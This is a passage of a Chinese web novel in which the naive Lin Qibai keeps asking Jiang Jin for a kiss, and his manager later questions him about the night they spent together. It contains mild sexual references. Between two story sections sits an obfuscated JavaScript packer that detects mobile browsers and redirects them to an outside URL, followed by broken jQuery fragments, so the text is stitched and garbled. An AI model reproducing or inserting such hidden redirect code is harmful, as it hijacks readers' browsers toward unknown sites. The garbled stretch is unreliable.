林栖白没哭。
他也许都不知道自己现在的心情叫作难过,他只是用他那双琥珀色的眼睛静静地看着江烬,等一个回答。
江烬心脏的位置莫名像是被抓了一下,怔在原地。
怎么回事。
不就是拒绝和他接吻吗,这不是很正常的一件事吗?
他和林栖白现在什么关系都不是,接吻才奇怪吧。
可林栖白的眼神,就好像他拒绝和他接吻,是一件很过分的事一样。
江烬甚至觉得,拒绝和他接吻的自己,仿佛是个渣男。
偏偏林栖白还追着问:“江烬,你不喜欢我吗?”
江烬不好回答这个问题,他觉得现在说喜欢为时太早,说不喜欢又有些违心。
林栖白声音逐渐变得委屈:“我对你负责。”
这话好像在说,我都对你负责了,你为什么不喜欢我。
江烬想到了昨晚他说自己也是初吻后,林栖白认真说会对他负责的样子。
否认的话到了嘴边,却怎么都说不出。
“没有不喜欢。”江烬最终还是没有直接回答这个问题。
不过在林栖白这个小人偶脑袋的理解中,不喜欢就是喜欢,江烬说没有不喜欢,就是在表白说喜欢他。
林栖白抿抿唇,对江烬笑了笑。
“那接吻。”林栖白又仰起了头。
江烬:“……”
合着他刚刚白纠结怎么回答喜欢还是不喜欢了。
江烬看着近在眼前的漂亮脸蛋,闻到了对方凑近时身上的淡香。
喉结微滚了一下,江烬说:“昨晚不是说过,我们的关系等拍完戏后再定下来,那这期间,我们就不能接吻或者睡在一张床上。”
可林栖白只想听自己想听的话,对于江烬的解释,他根本就是左耳听右耳冒。
林栖白不懂什么叫关系要定下来,也不懂明明昨晚都睡在一张床上了,为什么江烬还说他们不能睡在一张床上。
就像他不明白,为什么他只是想要一个吻却这么难。
林栖白抿了下唇,说:“你撒谎。”
江烬:“嗯?”他撒什么谎?
他敢发誓自己绝对说到做到,等这部戏拍完,只要林栖白还喜欢他,他一定会认真答应和林栖白交往的。
林栖白:“你不喜欢我。”
“你都不和我接吻。”
江烬:“……”
话题又拐回了接吻这件事。
“不是,我没有撒谎,只是我们现在接吻,就是不对的。”江烬怀疑林栖白是不是在装傻,不然怎么可能有成年人在这方面跟一张白纸似的,单纯地有些颠覆他的认知。
林栖白又说:“可是小电影里的人,都能接吻。”
林栖白看的那10个g的小电影,里面的人上来就接吻,一边接一边脱衣服。
昨天光接吻了还没脱衣服,林栖白总觉得少了点步骤,还有点想补上来呢。
江烬听着林栖白的话,还以为对方说的是电影里的一些亲密戏,有些爱情片,男女主演的确无法避免地要接吻,但那都是演戏,不能当真的啊。
江烬耐着心和他解释:“电影里都是假的,演戏不能当真。”
林栖白睁大了眼,说:“不是假的。”
他都看到他们舌头拉丝了,甚至做到最后的时候,还身寸进去了。
林栖白不再听江烬的鬼话,他现在不信江烬了,只缠着江烬仰头要吻。
江烬活这么大,还真是第一次被人给逼成这样。
他僵硬着仰着头不亲,林栖白就抿着唇看他,那双琉璃球似的眼睛湿漉漉的,看着都要哭了。
这表情实在让江烬没办法抵抗,他甚至无法分辨林栖白现在这个样子,到底是不是演的。
如果这是林栖白的演技,那江烬只能说,林栖白真可以去拿奥斯卡奖。
最后,江烬还是亲了林栖白。
不过在低下头的时候,江烬歪了下头,只亲在了林栖白的脸上。
林栖白小脸细滑,亲一口,江烬都觉得软软的。
“剩下的先欠着。”江烬亲完,也不敢看林栖白的表情,扭头就往岛台走去。
岛台有制冰机,江烬一连干掉两杯冰水,才缓解了脸上的燥热和喉间的干渴。
林栖白虽然觉得这个亲亲有点敷衍,但电影里的人偶尔也会这么做,他也就接受了。
林栖白身上的衣服被江烬整理好了,走路不用拎着裤腰也不会踩着裤腿了。
他趿着拖鞋哒哒哒的就走过来,在江烬以为他也想喝水的时候,林栖白抬头凑过去,吧唧一口亲在了江烬的脸上。
“礼尚往来。”林栖白认真道。
江烬摸了摸被亲的位置,唇瓣上温润湿热的触感印在脸上,脸皮都有些发烫。
在林栖白自觉地找到自己的早餐,并乖乖坐下吃饭的时候,江烬靠在岛台边,默不作声地又喝了两杯冰水。
靠。
他再也不说林栖白单纯了。
这撩人不是挺熟练的吗。
江烬莫名觉得自己像是一条鱼,而林栖白就是那个钓鱼佬,拿着点鱼饵在水面晃来晃去,一直在戏耍他。
-
在林栖白吃饭的时候,江烬找橘子要了李流云的电话,亲自打电话让李流云过来把林栖白给带回去。
李流云刚买完早餐回来,正站在林栖白房门前敲门,还奇怪对方怎么现在都没醒呢。
接到江烬的这个电话后,李流云真是差点就跪了。
“我的小祖宗啊!!”李流云崩溃,林栖白到底是什么时候偷偷跑去江烬那儿的啊!
李流云拎着早餐赶到楼上的时候,林栖白刚好吃完了饭,正靠在沙发上抱着抱枕看电视。
李流云看着林栖白身上不合身的衣服,面前吃过的早餐,余光又从卧室的正门扫到了主卧凌乱的床铺。
李流云只觉得眼前一黑,恨不得拿地上的拖鞋把林栖白给打一顿。
可江烬还在旁边,再说了,这事还不一定是林栖白主动的呢,也许是江烬勾引林栖白呢?
毕竟他们家小白,那么天真,那么单纯,估计连小黄|片都没看过,怎么可能做出这么大胆的事来。
林栖白看到小云哥来了后,就知道自己要离开了。
他乖巧地放下手中的抱枕,对江烬挥了挥手,说:“江烬,再见。”
江烬抬手对林栖白挥了挥,并观察了一下李流云的脸色。
通过李流云的表情,江烬基本确定林栖白爬床这事,不是李流云指挥的,不然李流云看到林栖白在他这儿,应该是高兴才对,不会是如被雷击一样的崩溃。
看来指挥林栖白的另有其人,这人在公司的地位,肯定在李流云之上。
江烬垂眼,长睫掩去了眸底的冰冷。
他一定会抓出那个人是谁。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048181|194590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
-
林栖白跟着李流云回了自己那窄小的单人间。
下楼的路上,李流云都没敢带着林栖白坐电梯,硬是跟见不得人似的,一路走楼梯走下来的。
进了房间后,李流云立马关紧了门,脸上的浓妆都掩盖不住他面色的惨白。
“你昨晚干嘛去了?你怎么去江烬的房间的?是他勾引你了,还是你自己想去的?你们有……那个吗?”
林栖白按照李流云的问题顺序回答:“去找江烬,走过去的,我自己想去的,那个什么?”
李流云:“那个……那个就是,有没有睡在一起。”
李流云问得委婉,没有直接问他俩有没有上床进行负距离的活|塞运动。
李流云的睡在一起是动态的,持续性的,林栖白理解的却是字面的意思。
“睡了。”林栖白点头。
李流云“呃——”的一声,差点翻白眼晕过去。
最后李流云猛掐自己人中,让自己冷静下来,问林栖白:“为什么要这么做?”
林栖白虽然演技一般,但毕竟有脸在,实在走不了演艺这条路,又走不了唱跳爱豆这条路的话,也能塞进综艺里当嘉宾啊,凭脸都能赚到钱。
他为什么非要爬别人的床!这事未来要是爆出来,江烬那边肯定会直接甩锅,把责任都甩到林栖白的身上,那林栖白这辈子就毁了啊!
为什么要为了一时的资源,去放弃未来一辈子的发展?
难道林栖白就笃定这事不会爆出去吗!?
林栖白完全没想那么多,他诚实地回答:“是任务。”
李流云:“嗯?”
任务?什么任务?
意思这是不是林栖白想做,而是有人命令林栖白这么做??
林栖白刚想解释,是系统让他这么做的,系统99就猛地在他脑袋里发出警报。
[宿主,禁止将系统的事说出去]
林栖白无奈,只能把话又咽了回去。
他的这个样子看在李流云的眼里,就像是想告诉他是谁命令他做的,但是因为对方身份太高,所以他没法回答一样。
李流云脑海中立马浮现了公司连串的领导的脸,难道说,是上边的领导给林栖白压力了?他们命令林栖白去爬床钓大佬?!
李流云震惊,以为是上边有人给林栖白压力了,
李流云觉得自己的手都在抖,他有心想说什么,但又觉得自己很无力。
如果真是公司里的领导私下给林栖白的任务,那李流云完全没有办法阻止。
李流云毕竟只是公司里不起眼的经纪人,能力一般,又因为死磕林栖白,钱也没赚到几个。
说白了,李流云没被公司辞退,都是因为他为人处世还行,无功但也无过,留着也就留着了。
要是李流云因为林栖白的事,去找上边的人反抗的话,那他不仅保不住林栖白,还会把自己的饭碗给弄丢。
李流云有些难过,但他知道,这不是自己能插手的事了。
“那……江烬还好吗?他,有在床上欺负你吗?”李流云问,“有做安全防护吗?他在床上有没有什么恶癖?你身上有没有什么不舒服的地方?”
林栖白一一回答前面的问题:“还好,没有欺负,什么防护?什么恶癖?”
“啊,我这里不太舒服。”林栖白扯开裤腰,指了指下面说。
他觉得内裤太大,穿着不太舒服。